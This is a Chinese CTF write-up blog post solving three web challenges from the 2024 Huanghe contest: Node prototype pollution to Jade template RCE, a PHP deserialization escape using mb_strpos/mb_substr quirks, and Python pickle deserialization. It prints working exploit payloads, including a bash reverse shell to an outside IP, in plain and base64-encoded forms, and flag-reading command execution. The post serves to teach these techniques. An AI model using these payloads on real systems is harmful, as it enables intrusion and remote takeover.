2024黄河流域WP

2024黄河流域

ezjade

代码很简单,主要是找到污染点在哪里,也就是可控参数在哪


app.post('/post',function (req, res) {
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    var malicious_payload = JSON.stringify(req.body);
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    merge(a, JSON.parse(malicious_payload));
    console.log(a.name);
    res.render('index.jade', {
        title: 'HTML',
        name: a.name || ''
    });
}

可以看到访问post路由时,会将a.name渲染进index.jade,时如果写入恶意代码,访问/post路由的时候会进行模版渲染此时将注入的代码被执行,导致RCE

跟进render函数,步入

image-20240503123818-cmwa73k

一直跟到compile

image-20240502134232-o35vsky

跟进visitcode函数

  visitCode: function(code){
    // Wrap code blocks with {}.
    // we only wrap unbuffered code blocks ATM
    // since they are usually flow control

    // Buffer code
    if (code.buffer) {
      var val = code.val.trim();
      val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
      if (code.escape) val = 'jade.escape(' + val + ')';
      this.bufferExpression(val);
    } else {
      this.buf.push(code.val);
    }

这里让code.buffer为false,就可以直接把code.val的值压入buf

但是报错plugin is not a function

加上"self":1

{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('calc')"}}
{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"')"}}

tao

<?php
highlight_file(__FILE__);
error_reporting(0);

function substrstr($data) {
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start, $end + 1 - $start);
}

class A {
    public $A;
    public $B = "HELLO";
    public $C = "!!!";

    public function __construct($A) {
        $this->A = $A;
    }

    public function __destruct() {
        $key = substrstr($this->B . "[welcome sdpcsec" . $this->C . "]");
        echo $key;
        eval($key);
    }
}

if (isset($_POST['escape'])) {
    $Class = new A($_POST['escape']);
    $Key = serialize($Class);
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);
    unserialize($K);
} else {
    echo "nonono";
}
?>

mb_strpos与mb_substr

  • %9f使得增加逃逸出一个字符(mb_strpos特性)
  • %f0使得减少逃逸出三个字符(mb_substr特性)

具体测试代码:

<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    echo $start.'<br>';
    $end = mb_strpos($data, "]");
    echo $end;
    return mb_substr($data, $start, $end + 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
echo $key;

先来看正常传参

image-20240514161929-sjhqqjl

可以看到是正常的把[]内的所有内容都截取到了

  • %9f使逃逸出一个字符(mb_strpos特性)

image-20240514161659-4hedrl5

可以看到mb_strpos竟然将%9f这个不可见字符也算进去了,而且还提前结束了一位

但是mb_substr是正常进行截取的,所以导致增加一个字符

我们利用%9f就可以使得[]里的16个字符全部逃逸,然后就可以任意构造我们想要的字符了(长度也得是16)

  1. %f0使逃逸出三个字符(mb_substr特性)

    \xf0开头的UTF-8字符应该是4位长度,并符合UTF-8的规则

image-20240514165012-96vde3v

可以看到mb_strpos正常识别不可见字符%f0,但是mb_substr将传进去的%f0abc四个字符当成了一个字符

所以我们把[welcome给吃掉的话需要8位,也就%f0abc%f0abc%f0%9fab

这里%f0abc将4字符当成1字符导致逃逸出3字符,%f0%9fab由于%9f是符合规则的所以这是把四个字符当成了两个字符导致逃逸出2字符

法一:纯%9f

image-20240818123030-vgkp6wt

image-20240512162159-dgkip1t


";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}
87个,补上87个SDPCSEC
SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}

法二:%9f结合%f0

pickle

pickle反序列化

用i指令反弹shell

import base64
import pickle
import pickletools

a = "gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="

data=base64.b64decode(a)
print(pickletools.dis(data))
#\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub.


b=b'''(S'bash -c "bash -i >& /dev/tcp/8.130.110.182/2333 0>&1"'
ios
system
.'''
print(base64.b64encode(b))
#KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMTAuMTgyLzIzMzMgMD4mMSInCmlvcwpzeXN0ZW0KLg==

新学到的,也可以报错带出

pickle反序列化,开启debug,用报错

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (exec,("raise Exception(__import__('os').popen('cat flag.txt').read())",))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

本文作者:m1xian

本文链接:https://www.cnblogs.com/m1xian/p/18365491

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   m1xian  阅读(28)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起